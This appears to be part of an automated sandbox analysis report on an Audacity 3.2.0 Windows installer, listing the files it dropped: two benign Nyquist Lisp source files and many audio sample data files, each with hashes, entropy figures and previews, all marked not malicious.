(o

C:\Program Files\Audacity\Nyquist\printrec.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	894
Entropy (8bit):	3.747003078665508
Encrypted:	false
SSDEEP:	24:7mP8scMjb6OgmTobvmMKrVQQJ7p0gsKksZiWJQn:iPDf6bmwmfrVT7yKpPQn
MD5:	4A157AB69A255C91DFEB34AA5F867930
SHA1:	EE4AF3B036D167BCD4F8D8E7256465B5BA2668D6
SHA-256:	208510AA5DFE9FB7611340CB9D40BD2B6F351A41632717C45BB08A5944833A60
SHA-512:	2427006CF225BD1C68FF3D55AE1EE0A4B95ED257998A47166B5857A0EBB92F96172E4E9532F6F404B71A812C7E6B7A15614AC1A68D3E459A61E759FE74FE076B
Malicious:	false
Preview:	; prints recursive list structure....;(let (seen-list)..(setf seenlist nil).. (defun seenp (l) (member l seenlist :test 'eq)).. (defun make-seen (l) (setf seenlist (cons l seenlist))).. (defun printrec (l) (printrec-any l) (setf seenlist nil)).. (defun printrec-any (l).. (cond ((atom l) (prin1 l) (princ " ")).. ((seenp l) (princ "<...> ")).. (t.. (make-seen l).. (princ "(").. (printrec-list l).. (princ ") "))).. nil).. (defun printrec-list (l).. (printrec-any (car l)).. (cond ((cdr l).. (cond ((seenp (cdr l)).. (princ "<...> ")).. ((atom (cdr l)).. (princ ". ").. (prin1 (cdr l)).. (princ " ")).. (t.. (make-seen (cdr l)).. (printrec-list (cdr l)))))).. nil)..; )..

C:\Program Files\Audacity\Nyquist\profile.lsp (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	Lisp/Scheme program, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	814
Entropy (8bit):	4.379440386031322
Encrypted:	false
SSDEEP:	24:Ky75fnsOVEzJ9aJJFaJufeHga9/yxndJ6yge6gJEaiSYN:TfeopI
MD5:	8547377CB01C3A0F7992AF04403A5A5F
SHA1:	CDCC5A653C10CFAC1F300E69C13573528884CEAE
SHA-256:	E1EC5E179D7CDDED6B20230A6364A0B802B67BA6E2CCEA94714728A390B6F715
SHA-512:	C6C3C4B07C0D40EF4F003826BDC86B784A1E7E5084D5B97B58B079AC889E4EF019ACE247340E86D68351867F3D1842AA9F0D47F2AF66AD8732FB5ECADD7DBC66
Malicious:	false
Preview:	..; profile.lsp -- support for profiling....;## show-profile -- print profile data..(defun show-profile ().. (let ((profile-flag (profile nil)) (total 0)).. (dolist (name PROFILE).. (setq total (+ total (get name 'PROFILE)))).. (dolist (name PROFILE).. (format t "~A (~A%): ~A~%".. (get name 'PROFILE).. (truncate.. (+ 0.5 (/ (float (* 100 (get name 'PROFILE))).. total))).. name)).. (format t "Total: ~A~%" total).. (profile profile-flag)))......;## start-profile -- clear old profile data and start profiling..(defun start-profile ().. (profile nil).. (dolist (name PROFILE).. (remprop name 'PROFILE)).. (setq PROFILE nil).. (profile t))....

C:\Program Files\Audacity\Nyquist\rawwaves\is-05MM5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.461215930959213
Encrypted:	false
SSDEEP:	48:piboTGE0RYVU/9n+SPkcimhqcraLoJkXW:I470RYVUdyDPcra2kXW
MD5:	4BD6C4DB11AB2D9CE14D4728928A7B5D
SHA1:	EBD16A2661660DC3652FB3394D7B2972E325899A
SHA-256:	EF77EAE8BFDD2119EC95BE5489C584C67148D6823785139D3C212EFB5C816FA4
SHA-512:	AA534024D78678D0A47F30258B268D69E36D759B458230B4D1102B7F4B3D945EF0FCAA5AAF85FCF4805A3E8C7EB4CC925904B6B0EF16F0CA7C140AEDA1499AD9
Malicious:	false
Preview:	.......e...^.......e...............n.9.e.........f.f.[.......j.....h......o...?.\.y.....`..........t.F.f...=.........c.M...............e...I...3...h..........>...........d.....n...>........W......@.O.......U...d...1.....x.4.....b...3.........s.Q.......r...T.F...(.p.......&.....\.......j.....`...l...8.".g.t.....q.............4.7.....P.T.u...T...j...... .............z.$.................!.....>.......;...x.......N.C.Q.e.....I.S.N. .......U.X.........=.........V.....1.H.....'...s.i...).....4...:.................H...-...^.9.........T.Y.......:.......[.................l...(.....u.^.}...........@.....g.+...<.6.....u...Y.........d...........<...i...........a.....K.a.....^.*.......).............V.[.......p...........!.;.....p.u.....a.D...F.(...../.....(...i.........;.........`.....?.......6.....@.B.................,.........&.....P.Q.....K.c.4.:.....R.G.r...Y...w.}.{.U.....O.................................F.o.....".a.x.u.9.............`.........K.(.$.0.>.L.<..............................

C:\Program Files\Audacity\Nyquist\rawwaves\is-20JHV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.892671390904293
Encrypted:	false
SSDEEP:	24:FteGhcCOs5vbuJpwSEl915pRkNZC6+8t3WREEUl9v5Ix23X66fQ/xpMesFfa5nKH:PebdsVbuLw/1nRX7a3GI15S2fWqonK9h
MD5:	7ECE94025A2C7CF005DF7E74B70EADA8
SHA1:	8459B6104CB868456C3B1ED890D695C64272FFA5
SHA-256:	2B841479312D2C5DB5446A180A9C052FCA2341C12C50A73C08AC273F2223DBC5
SHA-512:	A8CB350C877BE6A77545389B8C89BFC89BBD0E020BA8F2EB6AE26C7E2B0D59DA71F43DF3D3AB72831F998C6F16EF190F46E5BA41D80C5E1427E915D2B4CC5603
Malicious:	false
Preview:	.....{.....4.G.7..!. ..j..............7.4.$..N...m.......B.........,...c.t...M.....v.v...(.u.2...5..........\|.D....;.\|.....%.T...V...P.....3...[.g.P.e.......u...4.q...k.........5.........`...U.@.a.U.T.b.J.8...........t......... .....r...............c.....Q.......?.r.....&.........M...........G.a..'.S...-.C.._.........3...2.?...z.Z._...A.?.......A.....f...r.J.......a...{...m.......(.w........&......o.c.F.......6...0.......W.\.r.]...l...\|....._.............Z...v.....:.k.L.y.n.......A.R...9...(.....7...<.f.............p.....L...t.....n.....o...O...U.3.../.........j.........?.....x.m.\...Z...............#.R.......Y.........).........2.........S.P.......K.x.......l.u.1...........s...-.......'.Z.B.....b.....P...........`.[.&.....H.....h.....(.h.%.....i...R.......o.M...............0.F.......B.....'._...@.....}.p.........B.n.V.$.6...H...........\|.[.L.M...............................h...........m.S.......B.....w...6...............X...............K.d.a.A.........3.O.X.F.+............

C:\Program Files\Audacity\Nyquist\rawwaves\is-3463Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.572635105732737
Encrypted:	false
SSDEEP:	48:i5SOftlS8LcZ1BYJoYiiUPAXNRDRQr+DNNv:i5SOft08hziUzirgNv
MD5:	CD4C5A53C2045CAE83D5E508490FDBD5
SHA1:	AC31120DAC95B44069E76B5B4FAD018A5460CA51
SHA-256:	B199BFD7295EA55ED8C0AE944E8D8333670EF3E43818F0E586B4F5F8E0A0F6EE
SHA-512:	39EBE2CD1F141F50E04929387690D4299BE88AFD840B69E8CE167951B4E8A96563429E6F82C56D8A09B6AF2694C00706849BCA1A8E7525371843ACA27B65EB51
Malicious:	false
Preview:	.........#.....}.....$......."...Z.k...........a.....$.....4.2.....%.=......._.......U....P.......=.....g.......K.....<./.............+...+.............".i...;.............l.........................q.....^.{.....F.....l...............f...J...........0...............f.C...H.....{.....o.........^.......U.-.r.3...{.k.V.`.....D.N.....W.J.h....._.H.x...q.M.d.....0.......s.....{...J...F...#........R.+...........6.......M.....k.O.A.........%.....6.'.....\|.q...6...g.3.......m.#.g.;.3...Z.".....W.k.................)...S.[...............@.\|...1.......\.........A.".).%.6.....t. .K.F.............!..... ...................C...6.f.u............. .5...............%.Q...../...........}.....@...m.\.A.......@....y.......{...B.'...........a.....Q...8.....z.......3.K.T.Q.P.........l.Q.0...............V.........l...c.............,.[.g.@.!.................M.......>.n...........................b.$.........f.<...........................#.4.A.Z.s...........W.........;.A.R.j.w...........q.T.P.g.........].#..

C:\Program Files\Audacity\Nyquist\rawwaves\is-3DJRE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.404196401920885
Encrypted:	false
SSDEEP:	24:UVUdauxojctHNuauSTqENRytQ2Bnkc65xe/cLTSr9cRRvBLrSwrBt2+l6it:VfxowtJRCQUAO/sR17tRl6W
MD5:	DB64221B4889E983B2322F2FE2D74E1D
SHA1:	CB5E21C9C3C23AC09F1B92FB217735A6732D4B95
SHA-256:	0214E79479D909D21799422AD4AA869965951259839860BC4F1DBD230BB65161
SHA-512:	BFCFA3EDF6CED538F9CA81B90C779239375C6F7F1013F622A7951991B858BCF39819E8BA19A9D19E1422FEA7FE695B1CE4D2F5F518AA249CD24B160B2BC4A235
Malicious:	false
Preview:	...h...........7...w.}...........\..(f!~.A.....<..........x...4......p.......V...................'.p.C...2.....+.......2.......y...w...u.....J...w.O.U...'.1...s.}.x.6........~.......$.....,.....+.........8...u...z...............c...........U.y...9.........o.....J.;.!.......w.......................8.i.....#...W.......t.t.-.u.I.........................r.......P....... .........k.Y...........l...9.V.......d...........O.n.....`.^...Y.....V...N.Z.A... .3...........!.............N.....&...B...#.R.T...........!...........I.......(...G...............b...............}...-...................d...L.7.~.....N.e.h.....=...m.).Q.........Q.......................o.........k.......E.y.....#.R.....................E.h.(.6...4.............w.......b.........+.....b...Q.......m...K.......E.......D.Q.....E.?.v...........9...d._.O.#...............X.x.k.{.......R.........................W.].y.................p.u.............h.....<...3.................J.............U.7.j.........].+........................

C:\Program Files\Audacity\Nyquist\rawwaves\is-4EKK3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	7.808139447862836
Encrypted:	false
SSDEEP:	48:I8mMaLehJZCnswC66ifMmY3hpJSdcCmlxb2Z:Ia6eJZQD6ifoxS2C2yZ
MD5:	B2134D7CC270CF894A3E47A903764BD3
SHA1:	279E3CDCCA1FD15F1C491C2EFEC89D6021FC6C90
SHA-256:	4BA86DB423214A378E38FA92DF513E24D2E143C6D7D865C9345171ED03D2729A
SHA-512:	A2DCDE4AB9F2B636366400DD572C85C91F459D8DE4A5ADFD28446E94A0AB3FFD1A996AA4E1FCA396CA586D102F8DF02EF3ACE2070362B798FE8D0B1A522679F4
Malicious:	false
Preview:	.......[.$.....~.G.......j.2.......S.......r.9.......U.......m.3.......F.......V.... .!a"#".#.$g%'%.&.'g(&(.).a+.+.,.-T..../.0A0.1.2m3&3.4.5M6.6.7o8$8.9.:?:.;.<V=.=.>g?.?.@sA A.ByC%C.DzE#E.FtG.G.HiI.I.JWJ.K.L?L.M.N N.O]O.P.Q3Q.RhS.S.T2T.U_U.V.W.W.XBX.YcY.Z.[.[.\(\.]=].^O^._]_.`g`.ana.bqb.cpc.dkd.ebe.fVf.gEg.h1h.i.i.i.jlj.kJk.l#l.l.mam.n0n.n.o^o.p"p.p.q@q.q.rTr.s.s^s.t.t^t.u.uTu.u.v@v.v.w"wkw.w.x?x.x.y.yIy.y.z.zAz\|z.z.{%{\{.{.{.\|)\|Y\|.\|.\|.}.}8}a}.}.}.}.~.~>~^~~~.~.~.~.... .7.L.a.t...........................................................t.a.L.7. ..~.~.~.~.~~~^~>~.}.}.}.}.}a}8}.\|.\|.\|.\|Y\|){.{.{.{\{%z.z.z\|zAz.y.y.yIy.x.x.x?w.w.wkw"v.v.v@u.u.uTu.t.t^t.s.s^s.r.rTq.q.q@p.p.p"o.o^n.n.n0m.mal.l.l#k.kJj.jli.i.i.h.h1g.gEf.fVe.ebd.dkc.cpb.bqa.an`.`g_._]^.^O].]=\.\([.[.Z.Y.YcX.XBW.W.V.U.U_T.T2S.S.RhQ.Q3P.O.O]N.N M.L.L?K.J.JWI.I.HiG.G.FtE.E#DzC.C%ByA.A @s?.?.>g=.=.<V;.:.:?9.8.8$7o6.6.5M4.3.3&2m1.0.0A/.....-T,.+.+.a).(.(&'g&.%.%'$g#."."#!a ......V.......F.......3.m.......U.......9.r.......S.......2

C:\Program Files\Audacity\Nyquist\rawwaves\is-5EL2U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.368917490955171
Encrypted:	false
SSDEEP:	24:g+lEnAIAk9HVH8sQaZqo4saIiF+hHqUy+7zfF/yhGfN4RHW5+Y2E8geVY:XKdl1H8LjRsWghKUyAzN/yhGfRcm8gcY
MD5:	6518E6CE8268F007B65E1CBA973F06E0
SHA1:	2F58440E62DEEA8AE0BFE3DB9DB3160F83CB1D7E
SHA-256:	789AF6E0ABD508D23B4183B1EF223A3C21E8DB633152CF862BBCEE4068D67994
SHA-512:	33F8998C4154B0C1C2524F9207D8121F4B1A388FB1126FE6393F96D95EDAB770DF9D19D7F29F1C2BC126B8E85F038D04A2E7F981ED0B7580E74D141D66A19D25
Malicious:	false
Preview:	........................................"...H.......e.........K.......3._.............8.X...........i.....;.V.d...6...M...J...<.m.....y.....V.....f.v.............2.`.....`.l...J.@.j.......4...^...1.i.i.1.@.......9.L.....c.....0...Y.....k.A.............K...]...6.......L...........S.`.3...1...../...d.....U...7.....).".......^.W...8.'.........t...?.........L.x.....................................!...%.?.........P...D.f.Z...@.'.......o.....6.?.....T.^.......k.......s...].................s.0.....b.b.........x...)...:.......&.....~...:.............?...........,.........W.......i.p...............Y.1.C.....c.P.........=.................".....u.......Z.....[.....l...).:.....r.........I.....................U.B.2...\...@.\._.......'.^.....q...........).S.......i.....r...........t..... .....4.m.r.T.'...0.V.z.T...m.,...9.].....2.....r./.............C.a.E.......Q.p.d.4.........x.Z.Q.3.................../.'.......#.=.`.......'.W........................... ._.....w.Z.[.g.`.@.........p.f.X.V.`.~.....L

C:\Program Files\Audacity\Nyquist\rawwaves\is-727SG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.690837206116423
Encrypted:	false
SSDEEP:	24:OyFXGiQxjfCWZOTJFVWhK6tFInNsrZgpss/fcak53D4GoxxwGjwkkmhgo+S87Hm7:UfCWZOTJFoOkIR/fCMVgkkmK/7Hw/LJ
MD5:	0EAD9C302B69AA31C331371B125DEDEA
SHA1:	E821E3FE4DA7F45A74BC8A9A8993E723608785CA
SHA-256:	5D014470E5B47CEDD9B548C0404B78B4E630444486BD010C1CC81987DCAFB775
SHA-512:	44C4621346172A18B0F2AEEB8537037323945CE76DCAF701FAA11BEF1C73B692601B18435F3760E873D89CB96FEEEF04C501BF32A0C92F69AC65DFE279842C90
Malicious:	false
Preview:	...\...Y.b.........b..........!&.0......i.....X.....%.O...<.....K.9.m...J.R.N....\|.................!.6.B.....D............7...,.....x....!..j...!.......B...8.J...9.`...............G.........t.....(...=............:.N.#....V...(...N.....T.....%.......9......0.....D.0......."...4...........~.....G.t.f.>.f.............=.X.........+.=...n...................,.g.^.........k.......u......._.....$.........>...I./.......................z.:...U./...........r.........X.....H.....b.5.H...>.......p.....J.G.O...........<....................j.w.....Q..._.......}.[.V.:.&.............T.....%.e.............s...,.Q.\|.-.L.....j.g...h...w....1.Y.N...D.C.....;...o...5.....{.....n...1.......$.....g...O.....z...~.l.p...~....... ...=........!...7...Q...C.(...H.....K.........R.e.............Q...c.O.:...............%.....\.................~...G.3.......z...].a.....!...<.........g.......9.............n...?.......H.q.R...........].3...J.......@.6.....h.....G...............<.6.*.P.................-.$..

C:\Program Files\Audacity\Nyquist\rawwaves\is-C2JTA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	4.814309398696276
Encrypted:	false
SSDEEP:	24:V9xV6GME8kimxBVSwd9TOXWiAGWmdl7Q7jcnp2sazuaIPtYgl45WfJyTM:FgGZ8k93VhL3hGW04cUsBaIPt4WB1
MD5:	E43258BD825CDE737D73548729414A24
SHA1:	E3DC779E50E376D3CFC410AD578BBFC5E70780BE
SHA-256:	44AC373AA764CDAD8588845916E075BB1C2752F7B3B510381A3257967D5BDB97
SHA-512:	74E80222166813039DA51C6B1E9BBF5F139FFF23B94BCFA453628F5A5152210C4333630F0C131429E28A0B091464B74EFA35CF307B72517E39FF90A7092683F5
Malicious:	false
Preview:	...(.....9...$...?...............,.R.....9...P.....k.......>.d...........X...M...?...g.{.".......3.....'.w.i.....#.$...Z.....}...................".......=.~.z.......8.......@................. .....B...........k.....V.........+...P.I.........[.....B.m.......=.....................F.$.j.N.5...J.......H.L...3.................d...]...X.........+.......z.......n...[.....:.Y.....:.....x.............e.;.b...................P.<.B.......@.../.........6...g.@.C.9.....6.I...".....w.....\|...a.l...%...p...M...........b.2.T.....b.2...........+.....L.......+.....b...\|...q.\.........6...H.............y.........................r.D.....c.......C.........E.......z.B.#.....8... .c.T.1...K.q.0...8...?.?.....X.....................T.......q.t.....o.Y.x.............s.f.i...........`.....H.e.H.+.(...............T...g.....n.H.......x._.O.P.l.g.F.1.>.b.l._.a.{............................................................................. .%.'.0.>.@.6.,.0.B.T.`.T.,...............7.V.i.`.?...............&.4.4.6.E.`.x

C:\Program Files\Audacity\Nyquist\rawwaves\is-E3H07.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.164305586662321
Encrypted:	false
SSDEEP:	48:1K8ZtrtEMvSJ7in9kwgG7K1io2ar8Yx6OUtlUzzebrjso:08ZvqJ7KqwkYo2arrx6/UzBo
MD5:	B01515AE69CA22BE1FF01E21C4B639A5
SHA1:	283DEEA013BBE4D201A93DBD607B27A4DAE40ACE
SHA-256:	C2BA6443222560B8ABFA8554F07E4448567E9EE3323B3C5E32477528E572714A
SHA-512:	CBA156B34D6078A55A5966455161C50732DD439F7836CA50F8329F64E59A46C4C425B6F84D8B2EE9503AD35F50578D544374017D026AF6E4B72211329AB2306D
Malicious:	false
Preview:	.......S...R.7...........(...$...r.z.............-...k.....R...J.....1.......W...<...f.2...........f.R...........y.A.......................E.q.{...R.....w.................Z.......).F...*...........t.g.....'.N.9..... ...............I...=.......9...................@...=.Z.5.+...!...Z...........C.L.\.......{.".B...D.....3...6...............n.z.F.;...e...=.A...:.T.........6.1...........b.....d.S.............>.b.R.N...&...........`...L...a.....L.....\|.....h.................D.......p...;...t.0.....$...M.k.z.........C.5.G.....5.......).B.{.....l...Q.....(.......%.........;.k.2...s.d.u......./.....7...y.......>.(.....9...........5.b...9.u.............................d.9.......u.I.%......._.\.].'.....i.b.n.g.T.6.(.=.;.2.D.l.......5.R.c.d.u...........9.a...........z.t.x.......................................k.N.0.........................................2.M.U.Q.I.J.H.<.$.............q.].Y.V.P.J.A.9.4.9.:.9.=.H.X.h.w.......................).G.^.k.z...........................................t.Y.D.7

C:\Program Files\Audacity\Nyquist\rawwaves\is-E4TOU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.224185277355442
Encrypted:	false
SSDEEP:	48:LGOJB+Lx3iT/DpGG4lK8BtfOrLEd1cwHLo3:iOP+LliT1knfOMd1cwHLo3
MD5:	BE166CB8B23E105DD41C4EC4FC609693
SHA1:	F7AB190C1A668207959E43361CBE6DA8B62563E5
SHA-256:	C177000FA5524D948A82FC71F796F78C199CA9F414BF374172E2E92FB1CAD832
SHA-512:	5786586F98E91D1EA6F35158EBEC315E76C53D72A47543526A77E7C2C0A953C9D89D11140CB7E513B22176D8BB1CECE24A7D32DBED01B974D24C25EF936A8126
Malicious:	false
Preview:	...K.../.p.....:.....M.........v.Q........./.Y.....f.\...c...^.u...V.....e.........w.....N.}..._.=.......H.X.M...{.....h.n...M.......\|.{.~.........Y.....6...............s.x.....?.P.s.W.....'.0...S.....C.3.M...<.............h...).....................P.........#...T...........y...............A.g.%.5...........K.........................6.Y.2.w.4...........................W.....%.R...b.......o.........K.......#.r.8.#. .7.....8._.Q.....................y.v.......F.......D...5.D.L.L.....u.O.......g...............U...........P.k.............:.....k.........f.4...........v.x.#...........M.C.....i.>.O.t.Z.O............./.P...(.....U.O.N.\.>..._.......t.}.....X.>.7.G.2.....w.X.u.....>.......i...l.?.<...............................u.........G...o.E.Q...............P...............v.........&.M.<.........[. ...........s.j.g.s.............r.\|.................c.p.................................l.m.v.................c.P.\.t...............5.E.O.h...........".6.@.@.@.?.G.P.B.%.............}.y.u.b.;....

C:\Program Files\Audacity\Nyquist\rawwaves\is-HJCIF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.289342842651435
Encrypted:	false
SSDEEP:	24:bqziz6tkSOUDa1qqeyx4E543bOI3hbhl0SsiaRzoMDanMmAKvj8ABqw4/H08p:blFUDoeytoOI3hbQSs5SnMU8a4/H0i
MD5:	C49A0E8B2E88F7114C177909FA21382E
SHA1:	96356A27E73263B1CBBBF727227E6A6BE856D4E3
SHA-256:	C1717EA91121449DBB5F9306581F32D0D56E97432FF202DB654F48BF64D771CD
SHA-512:	25D0AD0FE8A5E613BC6560A6F5A9D786B27702358BBB09A02985D3B04652A2BB03B4ECB4BAB526F3AA5FB73061F32596ECBD4B03777ABBBA0A91DE688D66C5B2
Malicious:	false
Preview:	.................s...........v.0.$.....n...L.V.'.c... .t.....~.....f...........'...).../...........%.5.......]...M...0...K.......x...K.g.,.................v...........-.....7./.....e.....P.}...Y.......H...@...\|.a.....K.H...........@.....g.......l.........`.=.a.h.........O.:...X.....z.........f.......J.......X.:.S.E...O.........}.u.\. .(...../...2.\...O.8.o.....;...............n.......\.........b.......8...[.......R.........v.......k.................I.........^.G.....".....Q.c.......R.......l.:.n...<...;.X...........q.8.8.N.d.Q.$.c...............>.......'.Z.......R...................H.......U.....(.).....<.......c.J.h.....................n.<.!.2.O."...............b.A.......D.....................".r.......................I.^.e.q.....................(.H.l.....}.8...................o.C.........................y.x.~.z.y.z.........&.8.+............... .................{.t._.L.@.?.J.X.f.].9...........+.<.`.............Y.................#.E.^._.M./.......#.............p.f.k.g.K................

C:\Program Files\Audacity\Nyquist\rawwaves\is-O6A7U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	8900
Entropy (8bit):	7.133412710060552
Encrypted:	false
SSDEEP:	192:syRFcmX7J6o+G0qS4TYgI6AnCt7SdYXTl91fe9g8MYNq/Gi67NQ/zbmuD/VY9LV:sOcUOER4dop91EMCi6O/3mh95
MD5:	3276B9B4AA69724C8F8A35A4636BD639
SHA1:	450AF782E9DB38979004A1BF7A82F54DB79A442B
SHA-256:	A48AA9156AC33E39BB627901727B424AD54CCE28A42A806933E00BD1E64715BA
SHA-512:	5282C8C8CC7B5B7C1C0BE0CB1B5C18750988C49EE6BF1FF312EC94E193FFC7B2735CFE914FB69DAB55FE3D75D94CAAD021994BD801121F1DF2E1F2446C824C2F
Malicious:	false
Preview:	.....e.........K.r.......s..........7.m.P6.L.`[n.t[p-e.W?H.8.!..?... .......Z.\..........q.=.0......................Q...y.6.78.[.s.\|.y.q.j.i>k.n.l.b.P_;R)} .#...8.<.5(&~.7.....x.Q..........:.........Z.B...$...&...[............^..............?......"):.Q.d.p<vpxlx6w\|v.v.r.k.`/R.E.;.5./C(."B.....`.9...v.\.q..../.;.d.........h...\.^.p...{.w.D.o....o.O.......m...k.@.^.m...6.>........j...0.0.h...........U.................p'.+a).$c....&.58E4P.U.U.U.Y._.c.`.S.A.1<)z,.5]?.D{D_@`:\|3Q........&.L...X......3...z.......n.......R..Q.P......K.l.....S.............J.../...g.....M.N.......+.. ."."_ ..e.R....'.5.C.K.K.C 7.0.1.=PL.XwZxR?D.7.0./L/...(....w.......K.D.k....... .......$....>.a..,.J..."...p...U.(......)......h.8.....T..........i.a.D.y ......r!.).6.F<T.a2j.oSq=o.k.c.[.R.K(E.?.9.3%+.$$...8....................X..8....l...;...............h...0.......4..s...........s.e.....-.......................N.f...I...\|..".'...6a?.G.O.T.W.U.RbN.L.L.M.M.J.Ed>.

C:\Program Files\Audacity\Nyquist\rawwaves\is-P0K9Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.656106266798655
Encrypted:	false
SSDEEP:	48:p478lK6pppjGIyBiS0fN8/hvN5O+wMJWgDYVPY:y78lHpppqI+infu/n5OEwPY
MD5:	F7BC8A1C49B3BEE92C56E7CEA742EB9C
SHA1:	CEB45D6D521E0019A1ED73F5456D14E8E67B904E
SHA-256:	5C8CEB469A57517CC9F847B870B1A7E7CE9D948B1038893CC5163D7F666E39E4
SHA-512:	C7EC28CF749D1E24E8530791A9B36E85F4DD084769BD9515B16B303651456AC2134D85005987D66F375C05B4DD6994C8FF0340586D2C8CC0EDAEA3704C93676E
Malicious:	false
Preview:	.....&......6........!....X.U.8.r...,..$......q.P.......w..l...D.5.r.C..........................Z.0.......d.............-!..9.....k.p.L.......(.....L.{.&.,...........q...e.A.t.....)...L.t.V.J.(.,.o.w..W.~...T...L.....6.........X.p.Z.....K...2...........g.......Z.................-...................z........?...........<...............[.x.....{.g...........S...,...@.........c...:.........r...........I...#...i...Z.....!...H.S.h... .m.......D.....u.........U.....b./...H.Q...{.b...&.........5.....\|...r.Q...........<...L.......;.l.........].r.......\...................\|.`.................N...q.......$.Q.+.(.C.........Z.......n...j._...................X.S...:.....e.}.i...3.c...b... .....@...%.t...........k...x.......M...\|...K.w.....9.......!.W...0.9...`...w.......g...1.v...C.....^.....-...?..._.........r...........g.%...............1.h.......R...M...........r...........2...........i.....;...".o.......9.....o.H.M.`.m.T.....R.n...(.....}...S...j.......B._.M.!...../.E.......?.....r....

C:\Program Files\Audacity\Nyquist\rawwaves\is-P38RE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	raw G3 (Group 3) FAX
Category:	dropped
Size (bytes):	512
Entropy (8bit):	6.509182861139312
Encrypted:	false
SSDEEP:	12:O2L9hZ4EYQxVr0ueDWScNmsoNZA6ABFm2dAEbzba:/LjZ4EY80uecIZAbnLdA0Pa
MD5:	BEBF8E89F2080CD0BDA2D757655C8460
SHA1:	C4C5D8DDB10C6575F34F1728DB654C974566D6D3
SHA-256:	5AEA6F211B667471A4DEB1CDA4EE05538A0728687B7B583D4EF37D4142B1C624
SHA-512:	16081FEDBB8F62C788162B577ACDD47F94916A7F97170C38D1B3E6F51A583B8C79FA92DA73D5C6CDC800EF4035A9871D14A3C2811E2364B7706A573427A9375A
Malicious:	false
Preview:	.......-.......i.0.2..........T.......\|.o.g....1;.s.d...h'>.Q-..........;.#...........(...........e.h.......O.5.).A...C.......E.>../....^...+...............s...c...V.......t.P...5.q...C.............R.^.....d.............).Y..... .......<.......F.................}.o...c.C...........`....m.....;...X...e...........s.....E.B...t.....o.l.w..... .........R.#.....................V.........N.....f...W.n.........<......................L.R......................................................................

C:\Program Files\Audacity\Nyquist\rawwaves\is-RT5IA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	data
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	5.818841828451541
Encrypted:	false
SSDEEP:	48:tpPLo70xVEHaOxGXPwEaKPls0nxpp9Tzu:rPLo70x2680haiHnxHBu
MD5:	F803D9716D72860694FA92922D6B8B59
SHA1:	C2F6E7CF5EEA93506A2271DDC6B4D924884C613B
SHA-256:	C664721F0081694D9A0B54A078F3E7F3E5386B6CB8528A297FCD5E4195AC9280
SHA-512:	892FCD45C248C2C7FC3EB5A254461B5FC956DBE1AB525DF4F420DBD28DEB23F362BE07221968886BC993F3837A250DFEBBD13A63903FCFF31DD4E46F6A1A62C7
Malicious:	false
Preview:	...........V.z.:...@...I". ..............q.Q.[.}.A.....x........1...u...V......c.N..........l.m.\.'....R.!.=.........T...............E.A.a...o...R.....d.G...~.............8...2...........'...9....\|...[.......v.G.............'.(.......T.N.M...}...]...X.....k...s...............k.......}.#.................u...D.Z.0.m.7...........{.......3.j.8.<.............(...R.U................[.2...g.....r.!.s......&.S.....P...?...`.....7.......+.K.j...N.......................H.-...........a.M._.....@...........n.v...M...2...j...8...............S.....\|.D...................v.[.<.......~...;.[...Y.......u.......'.P...m.....M...............!...a...'.>.X.....,.........".....N.....Y.......z.W.......y........X.6.H.N.......s.......`.s.......@...G.......u...o.....1...6.8.................m.......P...........&.........h.J.............M...r...}.#.h...!.S.....\...?.r.4...K.".;.O./.......9.........u.Y.......Z.....w.(.........<.......l...........$...7.....!.........].............@.M.1.....<.........S..

